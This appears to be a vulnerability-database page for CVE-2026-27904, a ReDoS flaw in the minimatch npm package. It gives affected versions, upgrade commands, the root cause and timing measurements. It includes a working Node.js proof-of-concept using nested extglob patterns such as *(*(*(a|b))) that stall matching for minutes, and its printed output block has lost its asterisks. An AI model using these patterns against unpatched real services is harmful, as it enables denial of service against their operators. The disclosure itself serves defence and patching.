CVE-2026-27904: minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
High CVSS 7.5
- OSV id
- GHSA-23c5-xmqv-rm74
- Also known as
- CVE-2026-27904
- Published
- Last modified
Affected packages
| Package | Affected versions | Fixed in |
|---|---|---|
| minimatch npm |
>= 10.0.0, < 10.2.3 | 10.2.3 |
| minimatch npm |
>= 9.0.0, < 9.0.7 | 9.0.7 |
| minimatch npm |
>= 8.0.0, < 8.0.6 | 8.0.6 |
| minimatch npm |
>= 7.0.0, < 7.4.8 | 7.4.8 |
| minimatch npm |
>= 6.0.0, < 6.2.2 | 6.2.2 |
| minimatch npm |
>= 5.0.0, < 5.1.8 | 5.1.8 |
| minimatch npm |
>= 4.0.0, < 4.2.5 | 4.2.5 |
| minimatch npm |
< 3.1.4 | 3.1.4 |
Versions we track that it affects: minimatch 9.0.4; minimatch 9.0.4; minimatch 9.0.4; minimatch 9.0.4; minimatch 9.0.4; minimatch 9.0.4; minimatch 9.0.4; minimatch 9.0.4
How to fix it
minimatch (npm)
Upgrade minimatch to 10.2.3 or later.
npm install minimatch@10.2.3
# if it is an indirect dependency: npm update minimatch (or npm audit fix)
- If it is an indirect dependency, upgrade the package that depends on it, or force the version with "overrides" (npm), "resolutions" (Yarn) or "pnpm.overrides" (pnpm) in package.json.
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
minimatch (npm)
Upgrade minimatch to 9.0.7 or later.
npm install minimatch@9.0.7
# if it is an indirect dependency: npm update minimatch (or npm audit fix)
- If it is an indirect dependency, upgrade the package that depends on it, or force the version with "overrides" (npm), "resolutions" (Yarn) or "pnpm.overrides" (pnpm) in package.json.
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
minimatch (npm)
Upgrade minimatch to 8.0.6 or later.
npm install minimatch@8.0.6
# if it is an indirect dependency: npm update minimatch (or npm audit fix)
- If it is an indirect dependency, upgrade the package that depends on it, or force the version with "overrides" (npm), "resolutions" (Yarn) or "pnpm.overrides" (pnpm) in package.json.
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
minimatch (npm)
Upgrade minimatch to 7.4.8 or later.
npm install minimatch@7.4.8
# if it is an indirect dependency: npm update minimatch (or npm audit fix)
- If it is an indirect dependency, upgrade the package that depends on it, or force the version with "overrides" (npm), "resolutions" (Yarn) or "pnpm.overrides" (pnpm) in package.json.
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
minimatch (npm)
Upgrade minimatch to 6.2.2 or later.
npm install minimatch@6.2.2
# if it is an indirect dependency: npm update minimatch (or npm audit fix)
- If it is an indirect dependency, upgrade the package that depends on it, or force the version with "overrides" (npm), "resolutions" (Yarn) or "pnpm.overrides" (pnpm) in package.json.
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
minimatch (npm)
Upgrade minimatch to 5.1.8 or later.
npm install minimatch@5.1.8
# if it is an indirect dependency: npm update minimatch (or npm audit fix)
- If it is an indirect dependency, upgrade the package that depends on it, or force the version with "overrides" (npm), "resolutions" (Yarn) or "pnpm.overrides" (pnpm) in package.json.
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
minimatch (npm)
Upgrade minimatch to 4.2.5 or later.
npm install minimatch@4.2.5
# if it is an indirect dependency: npm update minimatch (or npm audit fix)
- If it is an indirect dependency, upgrade the package that depends on it, or force the version with "overrides" (npm), "resolutions" (Yarn) or "pnpm.overrides" (pnpm) in package.json.
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
minimatch (npm)
Upgrade minimatch to 3.1.4 or later.
npm install minimatch@3.1.4
# if it is an indirect dependency: npm update minimatch (or npm audit fix)
- If it is an indirect dependency, upgrade the package that depends on it, or force the version with "overrides" (npm), "resolutions" (Yarn) or "pnpm.overrides" (pnpm) in package.json.
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
Not sure whether your project uses an affected version? Check your lockfile below for free.
Details
Summary
Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
This produces the following regexps:
| Pattern | Generated regex |
|---|---|
*(a|b) |
/^(?:a|b)*$/ |
*(*(a|b)) |
/^(?:(?:a|b)*)*$/ |
*(*(*(a|b))) |
/^(?:(?:(?:a|b)*)*)*$/ |
*(*(*(*(a|b)))) |
/^(?:(?:(?:(?:a|b)*)*)*)*$/ |
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
| Pattern | Input | Time |
|---|---|---|
*(*(a|b)) |
a x30 + z |
~68,000ms |
*(*(*(a|b))) |
a x20 + z |
~124,000ms |
*(*(*(*(a|b)))) |
a x25 + z |
~116,000ms |
*(a|a) |
a x25 + z |
~2,000ms |
Depth inflection at fixed input a x16 + z:
| Depth | Pattern | Time |
|---|---|---|
| 1 | *(a|b) |
0ms |
| 2 | *(*(a|b)) |
4ms |
| 3 | *(*(*(a|b))) |
270ms |
| 4 | *(*(*(*(a|b)))) |
115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
Observed output: ``` depth=1 "(a|b)" -> /^(?:a|b)$/ depth=2 "((a|b))" -> /^(?:(?:a|b))$/ depth=3 "(((a|b)))" -> /^(?:(?:(?:a|b)))$/ depth=4 "((((a|b))))" -> /^(?:(?:(?:(?:a|b))))$/ "(((a|b)))" n=15: 269ms result=false "(((a|b)))" n=17: 268ms result=false "(((a|b)))" n=19: 2408ms result=false "((a|b))" n=23: 257ms result=false "(a|b)" n
References
- GHSA-23c5-xmqv-rm74 on OSV.dev
- Web: https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-27904
- Web: https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce
- Package: https://github.com/isaacs/minimatch
Am I affected?
Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.
About this data
Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.